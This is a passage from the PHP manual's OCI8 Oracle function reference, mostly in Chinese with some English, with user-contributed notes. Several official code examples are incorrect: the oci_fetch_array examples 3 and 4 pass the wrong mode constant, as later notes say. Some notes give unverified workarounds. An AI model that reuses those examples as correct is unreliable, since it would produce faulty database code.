  $stmt = oci_parse($conn, "select * from scott.hallo");
  oci_execute($stmt, OCI_DEFAULT);
  echo $conn."----selecting\n\n";
  while (oci_fetch($stmt)) {
    echo $conn . " [" . oci_result($stmt, "TEST") . "]\n\n";
  }
  echo $conn . "----done\n\n";
}

create_table($c1);
insert_data($c1);   // Insert a row using c1
insert_data($c2);   // Insert a row using c2

select_data($c1);   // Results of both inserts are returned
select_data($c2);

rollback($c1);      // Rollback using c1

select_data($c1);   // Both inserts have been rolled back
select_data($c2);

insert_data($c2);   // Insert a row using c2
commit($c2);        // Commit using c2

select_data($c1);   // Result of c2 insert is returned

delete_data($c1);   // Delete all rows in table using c1
select_data($c1);   // No rows returned
select_data($c2);   // No rows returned
commit($c1);        // Commit using c1

select_data($c1);   // No rows returned
select_data($c2);   // No rows returned

drop_table($c1);
echo "</pre>";
?>

oci_connect() 如果出错则返回 FALSE。

注: 在 PHP 5.0.0 之前的版本必须使用 ocilogon() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_connect() 的别名。不过其已被废弃，不推荐使用。

参见 oci_pconnect()，oci_new_connect() 和 oci_close()。

add a note add a note User Contributed Notes
Andrei
07-Nov-2005 09:08
lost oracle connection. need restart apache?

Temporarely you can prevent 'connection lost' by using folowing script (use it at your own risk):

<?php
$rnum=rand(0,99999999);
$dbcon = oci_new_connect('XXXXX', 'XXXXXX',
'
(DESCRIPTION =
           (ADDRESS =
       (PROTOCOL = TCP)
       (HOST = XXX.XXX.XXX.XXX)
       (PORT = 1521)
       (HASH = '.$rnum.')
     )
         (CONNECT_DATA =(SID = XXX))
     )
');
?>
Domenico a01b20_NOSPAM_ at iol dot it
07-Nov-2005 04:44
This note is an addendum to note#58378
Seems to be a good workaround set the oracle_home and/instead of the tns_admin.
tnsnames.ora must to be located in
$ORACLE_HOME/network/admin
and in
$TNS_ADMIN/ (if you use it)

---
Best Regards,
Domenico
a01b02_NO_SPAM at iol dot it
02-Nov-2005 06:44
Using tnsnames.ora
Apache 2
php 5.0.5
Oracle 10 IstantClient

PHP half of times return this error:

OCISessionBegin: ORA-24327: need explicit attach before authenticating a user in ...

In Oracle manual I find:

ORA-24327 need explicit attach before authenticating a user

   Cause: A server context must be initialized before creating a session.
   Action: Create and initialize a server handle.

I resolved using Easy Connect Naming Method.

Notice of this problem in bug#29779.

---
Best Regards,
Domenico
Chris
28-Oct-2005 08:19
Our tnsnames.ora uses the SERVICE_NAME=mydb - which for some reason wont work with PHP even though it works fine with tnsping. Using SID=mydb worked and a connection was established.
add a note add a note

后退 | 起点 | 前进
oci_commit | 上一级 | oci_define_by_name


oci_define_by_name

(PHP 5)

oci_define_by_name -- 在 SELECT 中使用 PHP 变量作为定义的步骤

说明

bool oci_define_by_name ( resource statement, string column_name, mixed &variable [, int type] )

oci_define_by_name() 绑定 PHP 到获取的 SQL 列。 需要注意的是，Oracle 使用大写字母的列名，而用户在 select 中也可以用小写字母。oci_define_by_name() 期望 column_name 是大写字母。如果定义一个变量不存在于 select 语句中，将没有错误被给出。

如果需要定义一个抽象数据类型（LOB/ROWID/BFILE），必须先用 oci_new_descriptor() 分配空间。参见 oci_bind_by_name() 函数。

例子 1. oci_define_by_name() 例子

<?php
/* oci_define_by_name example - thies at thieso dot net (980219) */

$conn = oci_connect("scott", "tiger");

$stmt = oci_parse($conn, "SELECT empno, ename FROM emp");

/* the define MUST be done BEFORE oci_execute! */

oci_define_by_name($stmt, "EMPNO", $empno);
oci_define_by_name($stmt, "ENAME", $ename);

oci_execute($stmt);

while (oci_fetch($stmt)) {
    echo "empno:" . $empno . "\n";
    echo "ename:" . $ename . "\n";
}

oci_free_statement($stmt);
oci_close($conn);
?>

注: 在 PHP 5.0.0 之前的版本必须使用 ocidefinebyname() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_define_by_name() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_connect | 上一级 | oci_error


oci_error

(PHP 5)

oci_error -- 返回上一个错误

说明

array oci_error ( [resource source] )

对于大多数错误，参数是最适合的资源句柄。对于 oci_connect()，oci_new_connect() 或 oci_pconnect() 的连接错误，不要传递参数。如果没有发现错误，oci_error() 返回 FALSE。oci_error() 以一个关联数组返回错误。在此数组中，code 是 oracle 错误代码而 message 是 oracle 的错误字符串。

自 PHP 4.3 起: offset 和 sqltext 也包括在返回的数组中，用来指出错误发生的位置以及造成错误的原始的 SQL 文本。

例子 1. 连接错误后显示 Oracle 错误信息

$conn = @oci_connect("scott", "tiger", "mydb");
if (!$conn) {
  $e = oci_error();   // For oci_connect errors pass no handle
  echo htmlentities($e['message']);
}

例子 2. 语法解析错误后显示 Oracle 错误信息

$stmt = @oci_parse($conn, "select ' from dual");  // note mismatched quote
if (!$stmt) {
  $e = oci_error($conn);  // For oci_parse errors pass the connection handle
  echo htmlentities($e['message']);
}

例子 3. 执行错误后显示 Oracle 错误信息和出错的语句

$r = oci_execute($stmt);
if (!$r) {
  $e = oci_error($stmt); // For oci_execute errors pass the statementhandle
  echo htmlentities($e['message']);
  echo "<pre>";
  echo htmlentities($e['sqltext']);
  printf("\n%".($e['offset']+1)."s", "^");
  echo "</pre>";
}

注: 在 PHP 5.0.0 之前的版本必须使用 ocierror() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_error() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
bjanetzki at mpmail.net
02-Nov-2004 04:32
The second example (Displaying the Oracle error message after a parsing error) is wrong.
This example works for me:

$stmt = @oci_parse($conn, "select ' from dual");  // note mismatched quote
if (!$stmt) {
  $e = oci_error($conn);  // For oci_parse errors pass the connection handle
  echo htmlentities($e['message']);
}
add a note add a note

后退 | 起点 | 前进
oci_define_by_name | 上一级 | oci_execute


oci_execute

(PHP 5)

oci_execute -- 执行一条语句

说明

bool oci_execute ( resource stmt [, int mode] )

oci_execute() 执行一条之前被解析过的语句（见 oci_parse()）。可选参数 mode 允许定义执行模式（默认是 OCI_COMMIT_ON_SUCCESS）。如果不需要将语句自动提交，则需要把 mode 设为 OCI_DEFAULT。

用 OCI_DEFAULT 模式时，将建立一个事务。事务会在关闭连接或脚本结束时（看哪个先）自动回卷。需要明确调用 oci_commit() 来提交事务，或者 oci_rollback() 中止事务。

如果成功则返回 TRUE，失败则返回 FALSE。

注: 在 PHP 5.0.0 之前的版本必须使用 ociexecute() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_execute() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
23-Feb-2006 01:56
Mode OCI_DESCRIBE_ONLY is supported as of the fix to http://bugs.php.net/bug.php?id=36403
add a note add a note

后退 | 起点 | 前进
oci_error | 上一级 | oci_fetch_all


oci_fetch_all

(PHP 5)

oci_fetch_all -- 获取结果数据的所有行到一个数组

说明

int oci_fetch_all ( resource statement, array &output [, int skip [, int maxrows [, int flags]]] )

oci_fetch_all() 从一个结果中获取所有的行到一个用户定义的数组。oci_fetch_all() 返回获取的行数，出错则返回 FALSE。skip 是从结果中获取数据时，最开始忽略的行数（默认值是 0，即从第一行开始）。maxrows 是要读取的行数，从第 skip 行开始（默认值是 -1，即所有行）。

注: 本函数对 PHP NULL 值设定 NULL 字段。

flags 参数可以是下列值的任意组合：

OCI_FETCHSTATEMENT_BY_ROW
OCI_FETCHSTATEMENT_BY_COLUMN（默认值）
OCI_NUM
OCI_ASSOC

例子 1. oci_fetch_all() 例子

<?php
/* oci_fetch_all example mbritton at verinet dot com (990624) */

$conn = oci_connect("scott", "tiger");

$stmt = oci_parse($conn, "select * from emp");

oci_execute($stmt);

$nrows = oci_fetch_all($stmt, $results);
if ($nrows > 0) {
   echo "<table border=\"1\">\n";
   echo "<tr>\n";
   foreach ($results as $key => $val) {
      echo "<th>$key</th>\n";
   }
   echo "</tr>\n";

   for ($i = 0; $i < $nrows; $i++) {
      echo "<tr>\n";
      foreach ($results as $data) {
         echo "<td>$data[$i]</td>\n";
      }
      echo "</tr>\n";
   }
   echo "</table>\n";
} else {
   echo "No data found<br />\n";
}
echo "$nrows Records Selected<br />\n";

oci_free_statement($stmt);
oci_close($conn);
?>

有关 OCI8 驱动程序执行的数据类型映射的细节，见驱动程序支持的数据类型。

oci_fetch_all() 如果出错则返回 FALSE。

注: 在 PHP 5.0.0 之前的版本必须使用 ocifetchstatement() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_fetch_all() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
jnavratil at houston dot rr dot com
13-Feb-2006 06:46
The number of rows returned is the number actually fetched, not the number potentially available.  If one limits the number of rows to fetch, the number of rows returned will be bound by that limit.  For example...

$nrows = oci_fetch_all($statement, $results, 0, 1);

would result in a returned value of '0' if there are no rows found for the statement, or '1' if any rows were found, regardless of the number actually present in the database.
add a note add a note

后退 | 起点 | 前进
oci_execute | 上一级 | oci_fetch_array


oci_fetch_array

(PHP 5)

oci_fetch_array -- Returns the next row from the result data as an associative or numeric array, or both

Description

array oci_fetch_array ( resource statement [, int mode] )

Returns an array, which corresponds to the next result row or FALSE in case of error or there are no more rows in the result.

oci_fetch_array() returns an array with both associative and numeric indices.

注: 本函数对 PHP NULL 值设定 NULL 字段。

An optional second parameter can be any combination of the following constants:

OCI_BOTH - return an array with both associative and numeric indices (the same as OCI_ASSOC + OCI_NUM). This is the default behavior.
OCI_ASSOC - return an associative array (as oci_fetch_assoc() works).
OCI_NUM - return a numeric array, (as oci_fetch_row() works).
OCI_RETURN_NULLS - create empty elements for the NULL fields.
OCI_RETURN_LOBS - return the value of a LOB of the descriptor.

Default mode is OCI_BOTH.

It should be mentioned here, that oci_fetch_array() is insignificantly slower, than oci_fetch_row(), but much more handy.

注: Oracle returns all field names in uppercase and associative indices in the result array will be uppercased too.

例子 1. oci_fetch_array() with OCI_BOTH example

<?php
$connection = oci_connect("apelsin", "kanistra");

$query = "SELECT id, name FROM fruits";

$statement = oci_parse ($connection, $query);
oci_execute ($statement);

while ($row = oci_fetch_array ($statement, OCI_BOTH)) {
    echo $row[0]." and ".$row['ID']." is the same<br>";
    echo $row[1]." and ".$row['NAME']." is the same<br>";
}
?>

例子 2. oci_fetch_array() with OCI_NUM example

<?php
$connection = oci_connect("user", "password");

$query = "SELECT id, name, lob_field FROM fruits";

$statement = oci_parse ($connection, $query);
oci_execute ($statement);

while ($row = oci_fetch_array ($statement, OCI_NUM)) {
    echo $row[0]."<br>";
    echo $row[1]."<br>";
    echo $row[2]->read(100)."<br>";  //this will output first 100 bytes from LOB
}
?>

例子 3. oci_fetch_array() with OCI_ASSOC example

<?php
$connection = oci_connect("user", "password");

$query = "SELECT id, name, lob_field FROM fruits";

$statement = oci_parse ($connection, $query);
oci_execute ($statement);

while ($row = oci_fetch_array ($statement, OCI_NUM)) {
    echo $row['ID']."<br>";
    echo $row['NAME']."<br>";
    echo $row['LOB_FIELD']."<br>";  //this will output "Object id #1"
}
?>

例子 4. oci_fetch_array() with OCI_RETURN_LOBS example

<?php
$connection = oci_connect("user", "password");

$query = "SELECT id, name, lob_field FROM fruits";

$statement = oci_parse ($connection, $query);
oci_execute ($statement);

while ($row = oci_fetch_array ($statement, OCI_NUM)) {
    echo $row[0]."<br>";
    echo $row[1]."<br>";
    echo $row['LOB_FIELD']."<br>";  //this will output LOB's content
}
?>

有关 OCI8 驱动程序执行的数据类型映射的细节，见驱动程序支持的数据类型。

See also oci_fetch_assoc(),
oci_fetch_object(),
oci_fetch_row() and
oci_fetch_all().

add a note add a note User Contributed Notes
antonchanning at gmail dot com
18-Apr-2006 04:59
As Robert Hicks mentioned back in August 2004 there is an error in examples 3 and 4 of this page.  The error in example 3 is what dwhitaker and stry_cat address in their notes of 20 May 2005 and 9 June 2005 respectively.

The correct form of example 4 should read:

<?php
$connection = oci_connect("user", "password");

$query = "SELECT id, name, lob_field FROM fruits";

$statement = oci_parse ($connection, $query);
oci_execute ($statement);

while ($row = oci_fetch_array ($statement, OCI_RETURN_LOBS)) {
   echo $row[0]."<br>";
   echo $row[1]."<br>";
   echo $row['LOB_FIELD']."<br>";  //this will output LOB's content
}
?>

This really should be corrected in the actual documentation...
stry_cat at yahoo dot com
28-Jan-2006 12:29
If you want to get both nulls and an assoc array, you have to ADD the values like this:

$row = oci_fetch_array($stmt, OCI_RETURN_NULLS + OCI_ASSOC);

This really should be noted in the text of the manual.
09-Jun-2005 11:13
OCI_BOTH is the default.

If you just need to return all fields, you can leave out OCI_NUM & OCI_ASSOC.

EXAMPLE:

<?php
$connection = ocilogon("user", "password", "dbname");

$query = "SELECT id, name, lob_field FROM fruits";

$statement = oci_parse ($connection, $query);
oci_execute ($statement);

while ($row = oci_fetch_array ($statement)) {
   $id = $row['ID'];
   $name = $row['NAME'];
   $lob_field = $row['LOB_FIELD'];

   echo $id.' '.$name.' '.$lob_field;

}
?>
dwhitaker at dfwairport dot com
20-May-2005 10:39
Example 3 above is incorrect...

OCI_NUM should be OCI_ASSOC

So it should read something like this:

<?php
$connection = ocilogon("user", "password", "dbname");

$query = "SELECT id, name, lob_field FROM fruits";

$statement = oci_parse ($connection, $query);
oci_execute ($statement);

while ($row = oci_fetch_array ($statement, OCI_ASSOC)) {
   $id = $row['ID'];
   $name = $row['NAME'];
   $lob_field = $row['LOB_FIELD'];

   echo $id.' '.$name.' '.$lob_field;

}
?>
robert dot hicks at gmail dot com
10-Aug-2004 08:57
OCI_NUM should be changed in the various scripts to the appropriate call to the OCI_*. For example the script to show the OCI_ASSOC call still has OCI_NUMS in it.
add a note add a note

后退 | 起点 | 前进
oci_fetch_all | 上一级 | oci_fetch_assoc


oci_fetch_assoc

(PHP 5)

oci_fetch_assoc -- Returns the next row from the result data as an associative array

Description

array oci_fetch_assoc ( resource statement )

oci_fetch_assoc() returns the next row from the result data as an associative array (identical to oci_fetch_array() call with OCI_ASSOC flag).

注: 本函数对 PHP NULL 值设定 NULL 字段。

A subsequent call to oci_fetch_assoc() will return the next row or FALSE if there are no more rows.

注: Oracle returns all field names in uppercase and associative indices in the result array will be uppercased too.

有关 OCI8 驱动程序执行的数据类型映射的细节，见驱动程序支持的数据类型。

See also oci_fetch_array(),
oci_fetch_object(),
oci_fetch_row() and
oci_fetch_all().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_fetch_array | 上一级 | oci_fetch_object


oci_fetch_object

(PHP 5)

oci_fetch_object -- Returns the next row from the result data as an object

Description

object oci_fetch_object ( resource statement )

oci_fetch_object() returns the next row from the result data as an object, which attributes correspond to fields in statement.

注: 本函数对 PHP NULL 值设定 NULL 字段。

Subsequent calls to oci_fetch_object() will return the next row from the result or FALSE if there are no more rows.

注: Oracle returns all field names in uppercase and attributes' names in the result object will be in uppercase as well.

有关 OCI8 驱动程序执行的数据类型映射的细节，见驱动程序支持的数据类型。

See also oci_fetch_array(),
oci_fetch_assoc(),
oci_fetch_row() and
oci_fetch_all().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_fetch_assoc | 上一级 | oci_fetch_row


oci_fetch_row

(PHP 5)

oci_fetch_row -- Returns the next row from the result data as a numeric array

Description

array oci_fetch_row ( resource statement )

Calling oci_fetch_row() is identical to oci_fetch_array() with OCI_NUM flag and returns the next row from the result data as a numeric array.

注: 本函数对 PHP NULL 值设定 NULL 字段。

Subsequent calls to oci_fetch_row() will return the next row from the result data or FALSE if there are no more rows.

有关 OCI8 驱动程序执行的数据类型映射的细节，见驱动程序支持的数据类型。

See also oci_fetch_array(),
oci_fetch_object(),
oci_fetch_assoc() and
oci_fetch_all().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_fetch_object | 上一级 | oci_fetch


oci_fetch

(PHP 5)

oci_fetch -- Fetches the next row into result-buffer

说明

bool oci_fetch ( resource statement )

oci_fetch() 获取下一行（对于 SELECT 语句）到内部结果缓冲区。

如果成功则返回 TRUE，失败则返回 FALSE。

有关 OCI8 驱动程序执行的数据类型映射的细节，见驱动程序支持的数据类型。

注: 在 PHP 5.0.0 之前的版本必须使用 ocifetch() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_fetch() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
mlong-php at mlong dot us
09-May-2006 06:42
Use this with OCIResult().  Though you may find OCIFetchInto to be faster than the combination of OCIFetch and OCIResult
add a note add a note

后退 | 起点 | 前进
oci_fetch_row | 上一级 | oci_field_is_null


oci_field_is_null

(PHP 5)

oci_field_is_null -- 检查字段是否为 NULL

说明

bool oci_field_is_null ( resource statement, mixed field )

如果 statement 语句结果中返回的 field 字段的值是 NULL，oci_field_is_null() 返回 TRUE。field 参数可以是字段的索引或字段名（大写字母）。

注: 在 PHP 5.0.0 之前的版本必须使用 ocicolumnisnull() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_field_is_null() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_fetch | 上一级 | oci_field_name


oci_field_name

(PHP 5)

oci_field_name -- 返回字段名

说明

string oci_field_name ( resource statement, int field )

oci_field_name() 返回与字段数字索引（从 1 开始）相对应的字段名。

例子 1. oci_field_name() 例子

<?php
    $conn = oci_connect("scott", "tiger");
    $stmt = oci_parse($conn, "SELECT * FROM emp");
    oci_execute($stmt);

    echo "<table border=\"1\">";
    echo "<tr>";
    echo "<th>Name</th>";
    echo "<th>Type</th>";
    echo "<th>Length</th>";
    echo "</tr>";

    $ncols = oci_num_fields($stmt);

    for ($i = 1; $i <= $ncols; $i++) {
        $column_name  = oci_field_name($stmt, $i);
        $column_type  = oci_field_type($stmt, $i);
        $column_size  = oci_field_size($stmt, $i);

        echo "<tr>";
        echo "<td>$column_name</td>";
        echo "<td>$column_type</td>";
        echo "<td>$column_size</td>";
        echo "</tr>";
    }

    echo "</table>\n";
    oci_free_statement($stmt);
    oci_close($conn);
?>

注: 在 PHP 5.0.0 之前的版本必须使用 ocicolumnname() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_field_name() 的别名。不过其已被废弃，不推荐使用。

参见 oci_num_fields()，oci_field_type() 和 oci_field_size()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_field_is_null | 上一级 | oci_field_precision


oci_field_precision

(PHP 5)

oci_field_precision -- 返回字段精度

说明

int oci_field_precision ( resource statement, int field )

返回索引为 field（从 1 开始）的字段的精度。

对于 FLOAT 字段，精度为非零值且范围为 -127。如果精度为 0，则字段为 NUMBER。其它类型为 NUMBER(precision, scale)。

注: 在 PHP 5.0.0 之前的版本必须使用 ocicolumnprecision() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_field_precision() 的别名。不过其已被废弃，不推荐使用。

参见 oci_field_scale() 和 oci_field_type()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_field_name | 上一级 | oci_field_scale


oci_field_scale

(PHP 5)

oci_field_scale -- 返回字段范围

说明

int oci_field_scale ( resource statement, int field )

返回索引为 field（从 1 开始）的字段的范围。如果无此字段则返回 FALSE。

对于 FLOAT 字段，精度为非零值且范围为 -127。如果精度为 0，则字段为 NUMBER。其它类型为 NUMBER(precision, scale)。

注: 在 PHP 5.0.0 之前的版本必须使用 ocicolumnscale() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_field_scale() 的别名。不过其已被废弃，不推荐使用。

参见 oci_field_precision() 和 oci_field_type()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_field_precision | 上一级 | oci_field_size


oci_field_size

(PHP 5)

oci_field_size -- 返回字段大小

说明

int oci_field_size ( resource stmt, mixed field )

oci_field_size() 以字节为单位返回字段的大小。field 参数的值可以是字段的索引（从 1 开始）或者字段名。

例子 1. oci_field_size()例子

<?php
    $conn = oci_connect("scott", "tiger");
    $stmt = oci_parse($conn, "SELECT * FROM emp");
    oci_execute($stmt);

    echo "<table border=\"1\">";
    echo "<tr>";
    echo "<th>Name</th>";
    echo "<th>Type</th>";
    echo "<th>Length</th>";
    echo "</tr>";

    $ncols = oci_num_fields($stmt);

    for ($i = 1; $i <= $ncols; $i++) {
        $column_name  = oci_field_name($stmt, $i);
        $column_type  = oci_field_type($stmt, $i);
        $column_size  = oci_field_size($stmt, $i);
        echo "<tr>";
        echo "<td>$column_name</td>";
        echo "<td>$column_type</td>";
        echo "<td>$column_size</td>";
        echo "</tr>";
    }

    echo "</table>";

    oci_free_statement($stmt);
    oci_close($conn);
?>

注: 在 PHP 5.0.0 之前的版本必须使用 ocicolumnsize() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_field_size() 的别名。不过其已被废弃，不推荐使用。

参见 oci_num_fields() 和 oci_field_name()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_field_scale | 上一级 | oci_field_type_raw


oci_field_type_raw

(PHP 5)

oci_field_type_raw -- 返回字段的原始 Oracle 数据类型

说明

int oci_field_type_raw ( resource statement, int field )

oci_field_type_raw() 返回字段的原始 Oracle 数据类型。

注: 在 PHP 5.0.0 之前的版本必须使用 ocicolumntyperaw() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_field_type_raw() 的别名。不过其已被废弃，不推荐使用。

不过，如果需要取得字段的类型，oci_field_type() 更为适合。更多信息见 oci_field_type()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_field_size | 上一级 | oci_field_type


oci_field_type

(PHP 5)

oci_field_type -- 返回字段的数据类型

说明

mixed oci_field_type ( resource stmt, int field )

oci_field_type() 返回字段的数据类型。field 参数是字段的索引（从 1 开始）。

例子 1. oci_field_type() 例子

<?php
    $conn = oci_connect("scott", "tiger");
    $stmt = oci_parse($conn, "SELECT * FROM emp");
    oci_execute($stmt);

    echo "<table border=\"1\">";
    echo "<tr>";
    echo "<th>Name</th>";
    echo "<th>Type</th>";
    echo "<th>Length</th>";
    echo "</tr>";

    $ncols = oci_num_fields($stmt);

    for ($i = 1; $i <= $ncols; $i++) {
        $column_name  = oci_field_name($stmt, $i);
        $column_type  = oci_field_type($stmt, $i);
        $column_size  = oci_field_size($stmt, $i);

        echo "<tr>";
        echo "<td>$column_name</td>";
        echo "<td>$column_type</td>";
        echo "<td>$column_size</td>";
        echo "</tr>";
    }

    echo "</table>\n";

    oci_free_statement($stmt);
    oci_close($conn);
?>

注: 在 PHP 5.0.0 之前的版本必须使用 ocicolumntype() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_field_type() 的别名。不过其已被废弃，不推荐使用。

参见 oci_num_fields()，oci_field_name() 和 oci_field_size()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_field_type_raw | 上一级 | oci_free_statement


oci_free_statement

(PHP 5)

oci_free_statement -- 释放关联于语句或游标的所有资源

说明

bool oci_free_statement ( resource statement )

oci_free_statement() 释放关联于 Oracle 游标或语句的资源，该资源是作为 oci_parse() 的结果或者是从 Oracle 取得。

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_field_type | 上一级 | oci_internal_debug


oci_internal_debug

(PHP 5)

oci_internal_debug -- 打开或关闭内部调试输出

说明

void oci_internal_debug ( int onoff )

oci_internal_debug() 打开或关闭内部调试输出。设置 onoff 为 0 关闭调试输出，为 1 则打开。

注: 在 PHP 5.0.0 之前的版本必须使用 ociinternaldebug() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_internal_debug() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_free_statement | 上一级 | oci_lob_copy


oci_lob_copy

(PHP 5)

oci_lob_copy -- Copies large object

Description

bool oci_lob_copy ( OCI-Lob lob_to, OCI-Lob lob_from [, int length] )

Copies a large object or a part of a large object to another large object. Parameter length indicates the length of data to be copied. Old LOB-recipient data will be overwritten.

If you need to copy a particular part of a LOB to a particular position of a LOB, use oci_lob_seek() to move LOB internal pointers.

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_internal_debug | 上一级 | oci_lob_is_equal


oci_lob_is_equal

(PHP 5)

oci_lob_is_equal -- Compares two LOB/FILE locators for equality

Description

bool oci_lob_is_equal ( OCI-Lob lob1, OCI-Lob lob2 )

Compares two LOB/FILE locators. Returns TRUE if these objects are equal and FALSE otherwise.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_lob_copy | 上一级 | oci_new_collection


oci_new_collection

(PHP 5)

oci_new_collection -- 分配新的 collection 对象

说明

OCI-Collection oci_new_collection ( resource connection, string tdo [, string schema] )

分配一个新的 collection 对象。tdo 参数应为一个有效的名字类型（大写）。第三个可选参数 schema 应指向建立名字对象的架构。oci_new_collection() 使用当前用户作为 schema 的默认值。

oci_new_collection() 如果出错返回 FALSE。

注: 在 PHP 5.0.0 之前的版本必须使用 ocinewcollection() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_new_collection() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_lob_is_equal | 上一级 | oci_new_connect


oci_new_connect

(PHP 5)

oci_new_connect -- 建定一个到 Oracle 服务器的新连接

说明

resource oci_new_connect ( string username, string password [, string db [, string charset [, int session_mode]]] )

oci_new_connect() 创建一个到 Oracle
服务器的新连接并登录。与 oci_connect()
和 oci_pconnect() 不同，oci_new_connect()
不会缓冲连接，总是会返回一个全新的刚打开的连接句柄。这在应用程序需要在两组查询之间实现事务隔离很有用。

可选的第三个参数可以是本地 Oracle 实例的名字或者是在 tnsnames.ora 的条目中的名字。如果没有指定第三个参数， PHP 使用环境变量 ORACLE_SID 和 TWO_TASK 来分别确定本地 Oracle 实例的名字和 tnsnames.ora 的位置。

session_mode 参数自版本 1.1 起可用并接受如下值：OCI_DEFAULT，OCI_SYSOPER 和 OCI_SYSDBA。如果指定了 OCI_SYSOPER 或 OCI_SYSDBA 其中之一，oci_new_connect() 将尝试使用外部认证信息建立特权连接。特权连接默认被禁止。要启用，需要将 oci8.privileged_connect 设为 On。

注: 如果 PHP 用的是 Oracle Instant Client，可以用容易的命名连接方法，说明见这里：http://download-west.oracle.com/docs/cd/B12037_01/network.101/b10775/naming.htm#i498306。基本上这意味着可以指定 "//db_host[:port]/database_name" 作为数据库名。但如果想用命名的旧方法则必须设定 ORACLE_HOME 或 TNS_ADMIN 二者之一。

使用 Oracle 服务器 9.2 或更高版本，可以指定 charset 参数，其将被用于新的连接。如果使用 Oracle 服务器低于 9.2 的版本，本参数将被忽略并以 NLS_LANG 环境变量替代之。

下面例子演示了怎样隔离连接。

例子 1. oci_new_connect() 例子

<?php
echo "<html><pre>";
$db = "";

$c1 = oci_connect("scott", "tiger", $db);
$c2 = oci_new_connect("scott", "tiger", $db);

function create_table($conn)
{
  $stmt = oci_parse($conn, "create table scott.hallo (test
varchar2(64))");
  oci_execute($stmt);
  echo $conn . " created table\n\n";
}

function drop_table($conn)
{
  $stmt = oci_parse($conn, "drop table scott.hallo");
  oci_execute($stmt);
  echo $conn . " dropped table\n\n";
}

function insert_data($conn)
{
  $stmt = oci_parse($conn, "insert into scott.hallo
            values('$conn' || ' ' || to_char(sysdate,'DD-MON-YY HH24:MI:SS'))");
  oci_execute($stmt, OCI_DEFAULT);
  echo $conn . " inserted hallo\n\n";
}

function delete_data($conn)
{
  $stmt = oci_parse($conn, "delete from scott.hallo");
  oci_execute($stmt, OCI_DEFAULT);
  echo $conn . " deleted hallo\n\n";
}

function commit($conn)
{
  oci_commit($conn);
  echo $conn . " committed\n\n";
}

function rollback($conn)
{
  oci_rollback($conn);
  echo $conn . " rollback\n\n";
}

function select_data($conn)
{
  $stmt = oci_parse($conn, "select * from scott.hallo");
  oci_execute($stmt, OCI_DEFAULT);
  echo $conn . "----selecting\n\n";
  while (oci_fetch($stmt)) {
    echo $conn . " <" . oci_result($stmt, "TEST") . ">\n\n";
  }
  echo $conn . "----done\n\n";
}

create_table($c1);
insert_data($c1);

select_data($c1);
select_data($c2);

rollback($c1);

select_data($c1);
select_data($c2);

insert_data($c2);
commit($c2);

select_data($c1);

delete_data($c1);
select_data($c1);
select_data($c2);
commit($c1);

select_data($c1);
select_data($c2);

drop_table($c1);
echo "</pre></html>";
?>

oci_new_connect() 在出错时返回 FALSE。

注: 在 PHP 5.0.0 之前的版本必须使用 ocinlogon() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_new_connect() 的别名。不过其已被废弃，不推荐使用。

参见 oci_connect() 和 oci_pconnect()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_new_collection | 上一级 | oci_new_cursor


oci_new_cursor

(PHP 5)

oci_new_cursor -- 分配并返回一个新的游标（语句句柄）

说明

resource oci_new_cursor ( resource connection )

oci_new_cursor() 在指定的连接上分配一个新的语句句柄。

例子 1. 在 Oracle 的存储过程中使用 REF CURSOR

<?php
// suppose your stored procedure info.output returns a ref cursor in :data

$conn = oci_connect("scott", "tiger");
$curs = oci_new_cursor($conn);
$stmt = oci_parse($conn, "begin info.output(:data); end;");

oci_bind_by_name($stmt, "data", $curs, -1, OCI_B_CURSOR);
oci_execute($stmt);
oci_execute($curs);

while ($data = oci_fetch_row($curs)) {
    var_dump($data);
}

oci_free_statement($stmt);
oci_free_statement($curs);
oci_close($conn);
?>

例子 2. 在 Oracle 的 select 语句中使用 REF CURSOR

<?php
echo "<html><body>";
